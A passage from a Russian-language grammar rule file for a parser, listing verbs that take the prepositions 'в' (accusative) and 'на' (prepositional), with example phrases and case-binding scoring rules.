rus_verbs:вшиваться{}, // вшиваться в ткань
rus_verbs:вшить{}, // вшить заплату в ткань
rus_verbs:въедаться{}, // въедаться в мякоть
rus_verbs:въезжать{}, // въезжать в гараж
rus_verbs:въехать{}, // въехать в гараж
rus_verbs:выиграть{}, // Коля выиграл в шахматы
rus_verbs:выигрывать{}, // Коля часто выигрывает у меня в шахматы
rus_verbs:выкладывать{}, // выкладывать в общий доступ
rus_verbs:выкладываться{}, // выкладываться в общий доступ
rus_verbs:выкрасить{}, // выкрасить машину в розовый цвет
rus_verbs:выкраситься{}, // выкраситься в дерзкий розовый цвет
rus_verbs:выкрашивать{}, // выкрашивать волосы в красный цвет
rus_verbs:выкрашиваться{}, // выкрашиваться в красный цвет
rus_verbs:вылезать{}, // вылезать в открытое пространство
rus_verbs:вылезти{}, // вылезти в открытое пространство
rus_verbs:выливать{}, // выливать в бутылку
rus_verbs:выливаться{}, // выливаться в ёмкость
rus_verbs:вылить{}, // вылить отходы в канализацию
rus_verbs:вылиться{}, // Топливо вылилось в воду
rus_verbs:выложить{}, // выложить в общий доступ
rus_verbs:выпадать{}, // выпадать в осадок
rus_verbs:выпрыгивать{}, // выпрыгивать в окно
rus_verbs:выпрыгнуть{}, // выпрыгнуть в окно
rus_verbs:выродиться{}, // выродиться в жалкое подобие
rus_verbs:вырождаться{}, // вырождаться в жалкое подобие славных предков
rus_verbs:высеваться{}, // высеваться в землю
rus_verbs:высеять{}, // высеять в землю
rus_verbs:выслать{}, // выслать в страну постоянного пребывания
rus_verbs:высморкаться{}, // высморкаться в платок
rus_verbs:высморкнуться{}, // высморкнуться в платок
rus_verbs:выстреливать{}, // выстреливать в цель
rus_verbs:выстреливаться{}, // выстреливаться в цель
rus_verbs:выстрелить{}, // выстрелить в цель
rus_verbs:вытекать{}, // вытекать в озеро
rus_verbs:вытечь{}, // вытечь в воду
rus_verbs:смотреть{}, // смотреть в будущее
rus_verbs:подняться{}, // подняться в лабораторию
rus_verbs:послать{}, // послать в магазин
rus_verbs:слать{}, // слать в неизвестность
rus_verbs:добавить{}, // добавить в суп
rus_verbs:пройти{}, // пройти в лабораторию
rus_verbs:положить{}, // положить в ящик
rus_verbs:прислать{}, // прислать в полицию
rus_verbs:упасть{}, // упасть в пропасть
инфинитив:писать{ aux stress="пис^ать" }, // писать в газету
инфинитив:писать{ aux stress="п^исать" }, // писать в штанишки
глагол:писать{ aux stress="п^исать" },
глагол:писать{ aux stress="пис^ать" },
деепричастие:писая{},
прилагательное:писавший{ aux stress="п^исавший" }, // писавший в штанишки
прилагательное:писавший{ aux stress="пис^авший" }, // писавший в газету
rus_verbs:собираться{}, // собираться в поход
rus_verbs:звать{}, // звать в ресторан
rus_verbs:направиться{}, // направиться в ресторан
rus_verbs:отправиться{}, // отправиться в ресторан
rus_verbs:поставить{}, // поставить в угол
rus_verbs:целить{}, // целить в мишень
rus_verbs:попасть{}, // попасть в переплет
rus_verbs:ударить{}, // ударить в больное место
rus_verbs:закричать{}, // закричать в микрофон
rus_verbs:опустить{}, // опустить в воду
rus_verbs:принести{}, // принести в дом бездомного щенка
rus_verbs:отдать{}, // отдать в хорошие руки
rus_verbs:ходить{}, // ходить в школу
rus_verbs:уставиться{}, // уставиться в экран
rus_verbs:приходить{}, // приходить в бешенство
rus_verbs:махнуть{}, // махнуть в Италию
rus_verbs:сунуть{}, // сунуть в замочную скважину
rus_verbs:явиться{}, // явиться в расположение части
rus_verbs:уехать{}, // уехать в город
rus_verbs:целовать{}, // целовать в лобик
rus_verbs:повести{}, // повести в бой
rus_verbs:опуститься{}, // опуститься в кресло
rus_verbs:передать{}, // передать в архив
rus_verbs:побежать{}, // побежать в школу
rus_verbs:стечь{}, // стечь в воду
rus_verbs:уходить{}, // уходить добровольцем в армию
rus_verbs:привести{}, // привести в дом
rus_verbs:шагнуть{}, // шагнуть в неизвестность
rus_verbs:собраться{}, // собраться в поход
rus_verbs:заглянуть{}, // заглянуть в основу
rus_verbs:поспешить{}, // поспешить в церковь
rus_verbs:поцеловать{}, // поцеловать в лоб
rus_verbs:перейти{}, // перейти в высшую лигу
rus_verbs:поверить{}, // поверить в искренность
rus_verbs:глянуть{}, // глянуть в оглавление
rus_verbs:зайти{}, // зайти в кафетерий
rus_verbs:подобрать{}, // подобрать в лесу
rus_verbs:проходить{}, // проходить в помещение
rus_verbs:глядеть{}, // глядеть в глаза
rus_verbs:пригласить{}, // пригласить в театр
rus_verbs:позвать{}, // позвать в класс
rus_verbs:усесться{}, // усесться в кресло
rus_verbs:поступить{}, // поступить в институт
rus_verbs:лечь{}, // лечь в постель
rus_verbs:поклониться{}, // поклониться в пояс
rus_verbs:потянуться{}, // потянуться в лес
rus_verbs:колоть{}, // колоть в ягодицу
rus_verbs:присесть{}, // присесть в кресло
rus_verbs:оглядеться{}, // оглядеться в зеркало
rus_verbs:поглядеть{}, // поглядеть в зеркало
rus_verbs:превратиться{}, // превратиться в лягушку
rus_verbs:принимать{}, // принимать во внимание
rus_verbs:звонить{}, // звонить в колокола
rus_verbs:привезти{}, // привезти в гостиницу
rus_verbs:рухнуть{}, // рухнуть в пропасть
rus_verbs:пускать{}, // пускать в дело
rus_verbs:отвести{}, // отвести в больницу
rus_verbs:сойти{}, // сойти в ад
rus_verbs:набрать{}, // набрать в команду
rus_verbs:собрать{}, // собрать в кулак
rus_verbs:двигаться{}, // двигаться в каюту
rus_verbs:падать{}, // падать в область нуля
rus_verbs:полезть{}, // полезть в драку
rus_verbs:направить{}, // направить в стационар
rus_verbs:приводить{}, // приводить в чувство
rus_verbs:толкнуть{}, // толкнуть в бок
rus_verbs:кинуться{}, // кинуться в драку
rus_verbs:ткнуть{}, // ткнуть в глаз
rus_verbs:заключить{}, // заключить в объятия
rus_verbs:подниматься{}, // подниматься в небо
rus_verbs:расти{}, // расти в глубину
rus_verbs:налить{}, // налить в кружку
rus_verbs:швырнуть{}, // швырнуть в бездну
rus_verbs:прыгнуть{}, // прыгнуть в дверь
rus_verbs:промолчать{}, // промолчать в тряпочку
rus_verbs:садиться{}, // садиться в кресло
rus_verbs:лить{}, // лить в кувшин
rus_verbs:дослать{}, // дослать деталь в держатель
rus_verbs:переслать{}, // переслать в обработчик
rus_verbs:удалиться{}, // удалиться в совещательную комнату
rus_verbs:разглядывать{}, // разглядывать в бинокль
rus_verbs:повесить{}, // повесить в шкаф
инфинитив:походить{ вид:соверш }, // походить в институт
глагол:походить{ вид:соверш },
деепричастие:походив{},
// прилагательное:походивший{вид:соверш},
rus_verbs:помчаться{}, // помчаться в класс
rus_verbs:свалиться{}, // свалиться в яму
rus_verbs:сбежать{}, // сбежать в Англию
rus_verbs:стрелять{}, // стрелять в цель
rus_verbs:обращать{}, // обращать в свою веру
rus_verbs:завести{}, // завести в дом
rus_verbs:приобрести{}, // приобрести в рассрочку
rus_verbs:сбросить{}, // сбросить в яму
rus_verbs:устроиться{}, // устроиться в крупную корпорацию
rus_verbs:погрузиться{}, // погрузиться в пучину
rus_verbs:течь{}, // течь в канаву
rus_verbs:произвести{}, // произвести в звание майора
rus_verbs:метать{}, // метать в цель
rus_verbs:пустить{}, // пустить в дело
rus_verbs:полететь{}, // полететь в Европу
rus_verbs:пропустить{}, // пропустить в здание
rus_verbs:рвануть{}, // рвануть в отпуск
rus_verbs:заходить{}, // заходить в каморку
rus_verbs:нырнуть{}, // нырнуть в прорубь
rus_verbs:рвануться{}, // рвануться в атаку
rus_verbs:приподняться{}, // приподняться в воздух
rus_verbs:превращаться{}, // превращаться в крупную величину
rus_verbs:прокричать{}, // прокричать в ухо
rus_verbs:записать{}, // записать в блокнот
rus_verbs:забраться{}, // забраться в шкаф
rus_verbs:приезжать{}, // приезжать в деревню
rus_verbs:продать{}, // продать в рабство
rus_verbs:проникнуть{}, // проникнуть в центр
rus_verbs:устремиться{}, // устремиться в открытое море
rus_verbs:посадить{}, // посадить в кресло
rus_verbs:упереться{}, // упереться в пол
rus_verbs:ринуться{}, // ринуться в буфет
rus_verbs:отдавать{}, // отдавать в кадетское училище
rus_verbs:отложить{}, // отложить в долгий ящик
rus_verbs:убежать{}, // убежать в приют
rus_verbs:оценить{}, // оценить в миллион долларов
rus_verbs:поднимать{}, // поднимать в стратосферу
rus_verbs:отослать{}, // отослать в квалификационную комиссию
rus_verbs:отодвинуть{}, // отодвинуть в дальний угол
rus_verbs:торопиться{}, // торопиться в школу
rus_verbs:попадаться{}, // попадаться в руки
rus_verbs:поразить{}, // поразить в самое сердце
rus_verbs:доставить{}, // доставить в квартиру
rus_verbs:заслать{}, // заслать в тыл
rus_verbs:сослать{}, // сослать в изгнание
rus_verbs:запустить{}, // запустить в космос
rus_verbs:удариться{}, // удариться в запой
rus_verbs:ударяться{}, // ударяться в крайность
rus_verbs:шептать{}, // шептать в лицо
rus_verbs:уронить{}, // уронить в унитаз
rus_verbs:прорычать{}, // прорычать в микрофон
rus_verbs:засунуть{}, // засунуть в глотку
rus_verbs:плыть{}, // плыть в открытое море
rus_verbs:перенести{}, // перенести в духовку
rus_verbs:светить{}, // светить в лицо
rus_verbs:мчаться{}, // мчаться в ремонт
rus_verbs:стукнуть{}, // стукнуть в лоб
rus_verbs:обрушиться{}, // обрушиться в котлован
rus_verbs:поглядывать{}, // поглядывать в экран
rus_verbs:уложить{}, // уложить в кроватку
инфинитив:попадать{ вид:несоверш }, // попадать в черный список
глагол:попадать{ вид:несоверш },
прилагательное:попадающий{ вид:несоверш },
прилагательное:попадавший{ вид:несоверш },
деепричастие:попадая{},
rus_verbs:провалиться{}, // провалиться в яму
rus_verbs:жаловаться{}, // жаловаться в комиссию
rus_verbs:опоздать{}, // опоздать в школу
rus_verbs:посылать{}, // посылать в парикмахерскую
rus_verbs:погнать{}, // погнать в хлев
rus_verbs:поступать{}, // поступать в институт
rus_verbs:усадить{}, // усадить в кресло
rus_verbs:проиграть{}, // проиграть в рулетку
rus_verbs:прилететь{}, // прилететь в страну
rus_verbs:повалиться{}, // повалиться в траву
rus_verbs:огрызнуться{}, // Собака огрызнулась в ответ
rus_verbs:лезть{}, // лезть в чужие дела
rus_verbs:потащить{}, // потащить в суд
rus_verbs:направляться{}, // направляться в порт
rus_verbs:поползти{}, // поползти в другую сторону
rus_verbs:пуститься{}, // пуститься в пляс
rus_verbs:забиться{}, // забиться в нору
rus_verbs:залезть{}, // залезть в конуру
rus_verbs:сдать{}, // сдать в утиль
rus_verbs:тронуться{}, // тронуться в путь
rus_verbs:сыграть{}, // сыграть в шахматы
rus_verbs:перевернуть{}, // перевернуть в более удобную позу
rus_verbs:сжимать{}, // сжимать пальцы в кулак
rus_verbs:подтолкнуть{}, // подтолкнуть в бок
rus_verbs:отнести{}, // отнести животное в лечебницу
rus_verbs:одеться{}, // одеться в зимнюю одежду
rus_verbs:плюнуть{}, // плюнуть в колодец
rus_verbs:передавать{}, // передавать в прокуратуру
rus_verbs:отскочить{}, // отскочить в лоб
rus_verbs:призвать{}, // призвать в армию
rus_verbs:увезти{}, // увезти в деревню
rus_verbs:улечься{}, // улечься в кроватку
rus_verbs:отшатнуться{}, // отшатнуться в сторону
rus_verbs:ложиться{}, // ложиться в постель
rus_verbs:пролететь{}, // пролететь в конец
rus_verbs:класть{}, // класть в сейф
rus_verbs:доставлять{}, // доставлять в кабинет
rus_verbs:приобретать{}, // приобретать в кредит
rus_verbs:сводить{}, // сводить в театр
rus_verbs:унести{}, // унести в могилу
rus_verbs:покатиться{}, // покатиться в яму
rus_verbs:сходить{}, // сходить в магазинчик
rus_verbs:спустить{}, // спустить в канализацию
rus_verbs:проникать{}, // проникать в сердцевину
rus_verbs:метнуть{}, // метнуть в болвана гневный взгляд
rus_verbs:пожаловаться{}, // пожаловаться в администрацию
rus_verbs:стучать{}, // стучать в металлическую дверь
rus_verbs:тащить{}, // тащить в ремонт
rus_verbs:заглядывать{}, // заглядывать в ответы
rus_verbs:плюхнуться{}, // плюхнуться в стол ароматного сена
rus_verbs:увести{}, // увести в следующий кабинет
rus_verbs:успевать{}, // успевать в школу
rus_verbs:пробраться{}, // пробраться в собачью конуру
rus_verbs:подавать{}, // подавать в суд
rus_verbs:прибежать{}, // прибежать в конюшню
rus_verbs:рассмотреть{}, // рассмотреть в микроскоп
rus_verbs:пнуть{}, // пнуть в живот
rus_verbs:завернуть{}, // завернуть в декоративную пленку
rus_verbs:уезжать{}, // уезжать в деревню
rus_verbs:привлекать{}, // привлекать в свои ряды
rus_verbs:перебраться{}, // перебраться в прибрежный город
rus_verbs:долить{}, // долить в коктейль
rus_verbs:палить{}, // палить в нападающих
rus_verbs:отобрать{}, // отобрать в коллекцию
rus_verbs:улететь{}, // улететь в неизвестность
rus_verbs:выглянуть{}, // выглянуть в окно
rus_verbs:выглядывать{}, // выглядывать в окно
rus_verbs:пробираться{}, // грабитель, пробирающийся в дом
инфинитив:написать{ aux stress="напис^ать"}, // читатель, написавший в блог
глагол:написать{ aux stress="напис^ать"},
прилагательное:написавший{ aux stress="напис^авший"},
rus_verbs:свернуть{}, // свернуть в колечко
инфинитив:сползать{ вид:несоверш }, // сползать в овраг
глагол:сползать{ вид:несоверш },
прилагательное:сползающий{ вид:несоверш },
прилагательное:сползавший{ вид:несоверш },
rus_verbs:барабанить{}, // барабанить в дверь
rus_verbs:дописывать{}, // дописывать в конец
rus_verbs:меняться{}, // меняться в лучшую сторону
rus_verbs:измениться{}, // измениться в лучшую сторону
rus_verbs:изменяться{}, // изменяться в лучшую сторону
rus_verbs:вписаться{}, // вписаться в поворот
rus_verbs:вписываться{}, // вписываться в повороты
rus_verbs:переработать{}, // переработать в удобрение
rus_verbs:перерабатывать{}, // перерабатывать в удобрение
rus_verbs:уползать{}, // уползать в тень
rus_verbs:заползать{}, // заползать в нору
rus_verbs:перепрятать{}, // перепрятать в укромное место
rus_verbs:заталкивать{}, // заталкивать в вагон
rus_verbs:преобразовывать{}, // преобразовывать в список
инфинитив:конвертировать{ вид:несоверш }, // конвертировать в список
глагол:конвертировать{ вид:несоверш },
инфинитив:конвертировать{ вид:соверш },
глагол:конвертировать{ вид:соверш },
деепричастие:конвертировав{},
деепричастие:конвертируя{},
rus_verbs:изорвать{}, // Он изорвал газету в клочки.
rus_verbs:выходить{}, // Окна выходят в сад.
rus_verbs:говорить{}, // Он говорил в защиту своего отца.
rus_verbs:вырастать{}, // Он вырастает в большого художника.
rus_verbs:вывести{}, // Он вывел детей в сад.
// инфинитив:всыпать{ вид:соверш }, инфинитив:всыпать{ вид:несоверш },
// глагол:всыпать{ вид:соверш }, глагол:всыпать{ вид:несоверш }, // Он всыпал в воду две ложки соли.
// прилагательное:раненый{}, // Он был ранен в левую руку.
// прилагательное:одетый{}, // Он был одет в толстое осеннее пальто.
rus_verbs:бухнуться{}, // Он бухнулся в воду.
rus_verbs:склонять{}, // склонять защиту в свою пользу
rus_verbs:впиться{}, // Пиявка впилась в тело.
rus_verbs:сходиться{}, // Интеллигенты начала века часто сходились в разные союзы
rus_verbs:сохранять{}, // сохранить данные в файл
rus_verbs:собирать{}, // собирать игрушки в ящик
rus_verbs:упаковывать{}, // упаковывать вещи в чемодан
rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время
rus_verbs:стрельнуть{}, // стрельни в толпу!
rus_verbs:пулять{}, // пуляй в толпу
rus_verbs:пульнуть{}, // пульни в толпу
rus_verbs:становиться{}, // Становитесь в очередь.
rus_verbs:вписать{}, // Юля вписала свое имя в список.
rus_verbs:вписывать{}, // Мы вписывали свои имена в список
прилагательное:видный{}, // Планета Марс видна в обычный бинокль
rus_verbs:пойти{}, // Девочка рано пошла в школу
rus_verbs:отойти{}, // Эти обычаи отошли в историю.
rus_verbs:бить{}, // Холодный ветер бил ему в лицо.
rus_verbs:входить{}, // Это входит в его обязанности.
rus_verbs:принять{}, // меня приняли в пионеры
rus_verbs:уйти{}, // Правительство РФ ушло в отставку
rus_verbs:допустить{}, // Япония была допущена в Организацию Объединённых Наций в 1956 году.
rus_verbs:посвятить{}, // Я посвятил друга в свою тайну.
инфинитив:экспортировать{ вид:несоверш }, глагол:экспортировать{ вид:несоверш }, // экспортировать нефть в страны Востока
rus_verbs:взглянуть{}, // Я не смел взглянуть ему в глаза.
rus_verbs:идти{}, // Я иду гулять в парк.
rus_verbs:вскочить{}, // Я вскочил в трамвай и помчался в институт.
rus_verbs:получить{}, // Эту мебель мы получили в наследство от родителей.
rus_verbs:везти{}, // Учитель везёт детей в лагерь.
rus_verbs:качать{}, // Судно качает во все стороны.
rus_verbs:заезжать{}, // Сегодня вечером я заезжал в магазин за книгами.
rus_verbs:связать{}, // Свяжите свои вещи в узелок.
rus_verbs:пронести{}, // Пронесите стол в дверь.
rus_verbs:вынести{}, // Надо вынести примечания в конец.
rus_verbs:устроить{}, // Она устроила сына в школу.
rus_verbs:угодить{}, // Она угодила головой в дверь.
rus_verbs:отвернуться{}, // Она резко отвернулась в сторону.
rus_verbs:рассматривать{}, // Она рассматривала сцену в бинокль.
rus_verbs:обратить{}, // Война обратила город в развалины.
rus_verbs:сойтись{}, // Мы сошлись в школьные годы.
rus_verbs:приехать{}, // Мы приехали в положенный час.
rus_verbs:встать{}, // Дети встали в круг.
rus_verbs:впасть{}, // Из-за болезни он впал в нужду.
rus_verbs:придти{}, // придти в упадок
rus_verbs:заявить{}, // Надо заявить в милицию о краже.
rus_verbs:заявлять{}, // заявлять в полицию
rus_verbs:ехать{}, // Мы будем ехать в Орёл
rus_verbs:окрашиваться{}, // окрашиваться в красный цвет
rus_verbs:решить{}, // Дело решено в пользу истца.
rus_verbs:сесть{}, // Она села в кресло
rus_verbs:посмотреть{}, // Она посмотрела на себя в зеркало.
rus_verbs:влезать{}, // он влезает в мою квартирку
rus_verbs:попасться{}, // в мою ловушку попалась мышь
rus_verbs:лететь{}, // Мы летим в Орёл
ГЛ_ИНФ(брать), // он берет в свою правую руку очень тяжелый шершавый камень
ГЛ_ИНФ(взять), // Коля взял в руку камень
ГЛ_ИНФ(поехать), // поехать в круиз
ГЛ_ИНФ(подать), // подать в отставку
инфинитив:засыпать{ вид:соверш }, глагол:засыпать{ вид:соверш }, // засыпать песок в ящик
инфинитив:засыпать{ вид:несоверш переходность:переходный }, глагол:засыпать{ вид:несоверш переходность:переходный }, // засыпать песок в ящик
ГЛ_ИНФ(впадать), прилагательное:впадающий{}, прилагательное:впадавший{}, деепричастие:впадая{}, // впадать в море
ГЛ_ИНФ(постучать) // постучать в дверь
}
// Чтобы разрешить связывание в паттернах типа: уйти в BEA Systems
fact гл_предл
{
if context { Гл_В_Вин предлог:в{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_В_Вин предлог:в{} *:*{ падеж:вин } }
then return true
}
fact гл_предл
{
if context { глагол:подвывать{} предлог:в{} существительное:такт{ падеж:вин } }
then return true
}
#endregion Винительный
// Все остальные варианты по умолчанию запрещаем.
fact гл_предл
{
if context { * предлог:в{} *:*{ падеж:предл } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:в{} *:*{ падеж:мест } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:в{} *:*{ падеж:вин } }
then return false,-4
}
fact гл_предл
{
if context { * предлог:в{} * }
then return false,-5
}
#endregion Предлог_В
#region Предлог_НА
// ------------------- С ПРЕДЛОГОМ 'НА' ---------------------------
#region ПРЕДЛОЖНЫЙ
// НА+предложный падеж:
// ЛЕЖАТЬ НА СТОЛЕ
#region VerbList
wordentry_set Гл_НА_Предл=
{
rus_verbs:заслушать{}, // Вопрос заслушали на сессии облсовета
rus_verbs:ПРОСТУПАТЬ{}, // На лбу, носу и щеке проступало черное пятно кровоподтека. (ПРОСТУПАТЬ/ПРОСТУПИТЬ)
rus_verbs:ПРОСТУПИТЬ{}, //
rus_verbs:ВИДНЕТЬСЯ{}, // На другой стороне Океана виднелась полоска суши, окружавшая нижний ярус планеты. (ВИДНЕТЬСЯ)
rus_verbs:ЗАВИСАТЬ{}, // Машина умела зависать в воздухе на любой высоте (ЗАВИСАТЬ)
rus_verbs:ЗАМЕРЕТЬ{}, // Скользнув по траве, он замер на боку (ЗАМЕРЕТЬ, локатив)
rus_verbs:ЗАМИРАТЬ{}, //
rus_verbs:ЗАКРЕПИТЬ{}, // Он вручил ей лишний кинжал, который она воткнула в рубаху и закрепила на подоле. (ЗАКРЕПИТЬ)
rus_verbs:УПОЛЗТИ{}, // Зверь завизжал и попытался уползти на двух невредимых передних ногах. (УПОЛЗТИ/УПОЛЗАТЬ)
rus_verbs:УПОЛЗАТЬ{}, //
rus_verbs:БОЛТАТЬСЯ{}, // Тело его будет болтаться на пространственных ветрах, пока не сгниет веревка. (БОЛТАТЬСЯ)
rus_verbs:РАЗВЕРНУТЬ{}, // Филиппины разрешат США развернуть военные базы на своей территории (РАЗВЕРНУТЬ)
rus_verbs:ПОЛУЧИТЬ{}, // Я пытался узнать секреты и получить советы на официальном русскоязычном форуме (ПОЛУЧИТЬ)
rus_verbs:ЗАСИЯТЬ{}, // Он активировал управление, и на экране снова засияло изображение полумесяца. (ЗАСИЯТЬ)
rus_verbs:ВЗОРВАТЬСЯ{}, // Смертник взорвался на предвыборном митинге в Пакистане (ВЗОРВАТЬСЯ)
rus_verbs:искриться{},
rus_verbs:ОДЕРЖИВАТЬ{}, // На выборах в иранский парламент победу одерживают противники действующего президента (ОДЕРЖИВАТЬ)
rus_verbs:ПРЕСЕЧЬ{}, // На Украине пресекли дерзкий побег заключенных на вертолете (ПРЕСЕЧЬ)
rus_verbs:УЛЕТЕТЬ{}, // Голый норвежец улетел на лыжах с трамплина на 60 метров (УЛЕТЕТЬ)
rus_verbs:ПРОХОДИТЬ{}, // укрывающийся в лесу американский подросток проходил инициацию на охоте, выпив кружку крови первого убитого им оленя (ПРОХОДИТЬ)
rus_verbs:СУЩЕСТВОВАТЬ{}, // На Марсе существовали условия для жизни (СУЩЕСТВОВАТЬ)
rus_verbs:УКАЗАТЬ{}, // Победу в Лиге чемпионов укажут на часах (УКАЗАТЬ)
rus_verbs:отвести{}, // отвести душу на людях
rus_verbs:сходиться{}, // Оба профессора сходились на том, что в черепной коробке динозавра
rus_verbs:сойтись{},
rus_verbs:ОБНАРУЖИТЬ{}, // Доказательство наличия подповерхностного океана на Европе обнаружено на её поверхности (ОБНАРУЖИТЬ)
rus_verbs:НАБЛЮДАТЬСЯ{}, // Редкий зодиакальный свет вскоре будет наблюдаться на ночном небе (НАБЛЮДАТЬСЯ)
rus_verbs:ДОСТИГНУТЬ{}, // На всех аварийных реакторах достигнуто состояние так называемой холодной остановки (ДОСТИГНУТЬ/ДОСТИЧЬ)
глагол:ДОСТИЧЬ{},
инфинитив:ДОСТИЧЬ{},
rus_verbs:завершить{}, // Российские биатлонисты завершили чемпионат мира на мажорной ноте
rus_verbs:РАСКЛАДЫВАТЬ{},
rus_verbs:ФОКУСИРОВАТЬСЯ{}, // Инвесторы предпочитают фокусироваться на среднесрочных ожиданиях (ФОКУСИРОВАТЬСЯ)
rus_verbs:ВОСПРИНИМАТЬ{}, // как несерьезно воспринимали его на выборах мэра (ВОСПРИНИМАТЬ)
rus_verbs:БУШЕВАТЬ{}, // на территории Тверской области бушевала гроза , в результате которой произошло отключение электроснабжения в ряде муниципальных образований региона (БУШЕВАТЬ)
rus_verbs:УЧАСТИТЬСЯ{}, // В последние месяцы в зоне ответственности бундесвера на севере Афганистана участились случаи обстрелов полевых лагерей немецких миротворцев (УЧАСТИТЬСЯ)
rus_verbs:ВЫИГРАТЬ{}, // Почему женская сборная России не может выиграть медаль на чемпионате мира (ВЫИГРАТЬ)
rus_verbs:ПРОПАСТЬ{}, // Пропавшим на прогулке актером заинтересовались следователи (ПРОПАСТЬ)
rus_verbs:УБИТЬ{}, // Силовики убили двух боевиков на административной границе Ингушетии и Чечни (УБИТЬ)
rus_verbs:подпрыгнуть{}, // кобель нелепо подпрыгнул на трех ногах , а его хозяин отправил струю пива мимо рта
rus_verbs:подпрыгивать{},
rus_verbs:высветиться{}, // на компьютере высветится твоя подпись
rus_verbs:фигурировать{}, // его портрет фигурирует на страницах печати и телеэкранах
rus_verbs:действовать{}, // выявленный контрабандный канал действовал на постоянной основе
rus_verbs:СОХРАНИТЬСЯ{}, // На рынке международных сделок IPO сохранится высокая активность (СОХРАНИТЬСЯ НА)
rus_verbs:ПРОЙТИ{}, // Необычный конкурс прошёл на севере Швеции (ПРОЙТИ НА предл)
rus_verbs:НАЧАТЬСЯ{}, // На северо-востоке США началась сильная снежная буря. (НАЧАТЬСЯ НА предл)
rus_verbs:ВОЗНИКНУТЬ{}, // Конфликт возник на почве совместной коммерческой деятельности по выращиванию овощей и зелени (ВОЗНИКНУТЬ НА)
rus_verbs:СВЕТИТЬСЯ{}, // она по-прежнему светится на лицах людей (СВЕТИТЬСЯ НА предл)
rus_verbs:ОРГАНИЗОВАТЬ{}, // Власти Москвы намерены организовать масленичные гуляния на 100 площадках (ОРГАНИЗОВАТЬ НА предл)
rus_verbs:ИМЕТЬ{}, // Имея власть на низовом уровне, оказывать самое непосредственное и определяющее влияние на верховную власть (ИМЕТЬ НА предл)
rus_verbs:ОПРОБОВАТЬ{}, // Опробовать и отточить этот инструмент на местных и региональных выборах (ОПРОБОВАТЬ, ОТТОЧИТЬ НА предл)
rus_verbs:ОТТОЧИТЬ{},
rus_verbs:ДОЛОЖИТЬ{}, // Участникам совещания предложено подготовить по этому вопросу свои предложения и доложить на повторной встрече (ДОЛОЖИТЬ НА предл)
rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Солевые и пылевые бури , образующиеся на поверхности обнаженной площади моря , уничтожают урожаи и растительность (ОБРАЗОВЫВАТЬСЯ НА)
rus_verbs:СОБРАТЬ{}, // использует собранные на местном рынке депозиты (СОБРАТЬ НА предл)
инфинитив:НАХОДИТЬСЯ{ вид:несоверш}, // находившихся на борту самолета (НАХОДИТЬСЯ НА предл)
глагол:НАХОДИТЬСЯ{ вид:несоверш },
прилагательное:находившийся{ вид:несоверш },
прилагательное:находящийся{ вид:несоверш },
деепричастие:находясь{},
rus_verbs:ГОТОВИТЬ{}, // пищу готовят сами на примусах (ГОТОВИТЬ НА предл)
rus_verbs:РАЗДАТЬСЯ{}, // Они сообщили о сильном хлопке , который раздался на территории нефтебазы (РАЗДАТЬСЯ НА)
rus_verbs:ПОДСКАЛЬЗЫВАТЬСЯ{}, // подскальзываться на той же апельсиновой корке (ПОДСКАЛЬЗЫВАТЬСЯ НА)
rus_verbs:СКРЫТЬСЯ{}, // Германия: латвиец ограбил магазин и попытался скрыться на такси (СКРЫТЬСЯ НА предл)
rus_verbs:ВЫРАСТИТЬ{}, // Пациенту вырастили новый нос на руке (ВЫРАСТИТЬ НА)
rus_verbs:ПРОДЕМОНСТРИРОВАТЬ{}, // Они хотят подчеркнуть эмоциональную тонкость оппозиционера и на этом фоне продемонстрировать бездушность российской власти (ПРОДЕМОНСТРИРОВАТЬ НА предл)
rus_verbs:ОСУЩЕСТВЛЯТЬСЯ{}, // первичный анализ смеси запахов может осуществляться уже на уровне рецепторных нейронов благодаря механизму латерального торможения (ОСУЩЕСТВЛЯТЬСЯ НА)
rus_verbs:ВЫДЕЛЯТЬСЯ{}, // Ягоды брусники, резко выделяющиеся своим красным цветом на фоне зелёной листвы, поедаются животными и птицами (ВЫДЕЛЯТЬСЯ НА)
rus_verbs:РАСКРЫТЬ{}, // На Украине раскрыто крупное мошенничество в сфере туризма (РАСКРЫТЬ НА)
rus_verbs:ОБЖАРИВАТЬСЯ{}, // Омлет обжаривается на сливочном масле с одной стороны, пока он почти полностью не загустеет (ОБЖАРИВАТЬСЯ НА)
rus_verbs:ПРИГОТОВЛЯТЬ{}, // Яичница — блюдо европейской кухни, приготовляемое на сковороде из разбитых яиц (ПРИГОТОВЛЯТЬ НА)
rus_verbs:РАССАДИТЬ{}, // Женька рассадил игрушки на скамеечке (РАССАДИТЬ НА)
rus_verbs:ОБОЖДАТЬ{}, // обожди Анжелу на остановке троллейбуса (ОБОЖДАТЬ НА)
rus_verbs:УЧИТЬСЯ{}, // Марина учится на факультете журналистики (УЧИТЬСЯ НА предл)
rus_verbs:раскладываться{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА)
rus_verbs:ПОСЛУШАТЬ{}, // Послушайте друзей и врагов на расстоянии! (ПОСЛУШАТЬ НА)
rus_verbs:ВЕСТИСЬ{}, // На стороне противника всю ночь велась перегруппировка сил. (ВЕСТИСЬ НА)
rus_verbs:ПОИНТЕРЕСОВАТЬСЯ{}, // корреспондент поинтересовался у людей на улице (ПОИНТЕРЕСОВАТЬСЯ НА)
rus_verbs:ОТКРЫВАТЬСЯ{}, // Российские биржи открываются на негативном фоне (ОТКРЫВАТЬСЯ НА)
rus_verbs:СХОДИТЬ{}, // Вы сходите на следующей остановке? (СХОДИТЬ НА)
rus_verbs:ПОГИБНУТЬ{}, // Её отец погиб на войне. (ПОГИБНУТЬ НА)
rus_verbs:ВЫЙТИ{}, // Книга выйдет на будущей неделе. (ВЫЙТИ НА предл)
rus_verbs:НЕСТИСЬ{}, // Корабль несётся на всех парусах. (НЕСТИСЬ НА предл)
rus_verbs:вкалывать{}, // Папа вкалывает на работе, чтобы прокормить семью (вкалывать на)
rus_verbs:доказать{}, // разработчики доказали на практике применимость данного подхода к обсчету сцен (доказать на, применимость к)
rus_verbs:хулиганить{}, // дозволять кому-то хулиганить на кладбище (хулиганить на)
глагол:вычитать{вид:соверш}, инфинитив:вычитать{вид:соверш}, // вычитать на сайте (вычитать на сайте)
деепричастие:вычитав{},
rus_verbs:аккомпанировать{}, // он аккомпанировал певцу на губной гармошке (аккомпанировать на)
